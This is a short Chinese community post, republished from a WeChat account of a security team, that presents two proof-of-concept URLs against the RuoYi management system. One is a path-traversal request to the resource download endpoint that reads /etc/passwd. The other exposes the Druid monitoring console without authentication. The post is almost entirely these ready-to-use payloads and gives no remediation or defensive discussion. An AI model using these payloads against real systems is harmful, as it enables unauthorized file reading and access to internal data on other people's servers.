开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

社区首页 >专栏 >若依CMS 0day 任意文件读取 or 未授权访问

若依CMS 0day 任意文件读取 or 未授权访问

作者头像

Khan安全团队

发布于 2021-05-08 15:40:49

发布于 2021-05-08 15:40:49

5.5K0

举报

文章被收录于专栏：Khan安全团队Khan安全团队

若依管理系统后台任意文件读取

POC：

https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc/passwd

若依管理系统未授权访问

POC：

http://xxx.xxx.xxx.xxx/prod-api/druid/index.html

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2021-04-22，如有侵权请联系 cloudcommunity@tencent.com 删除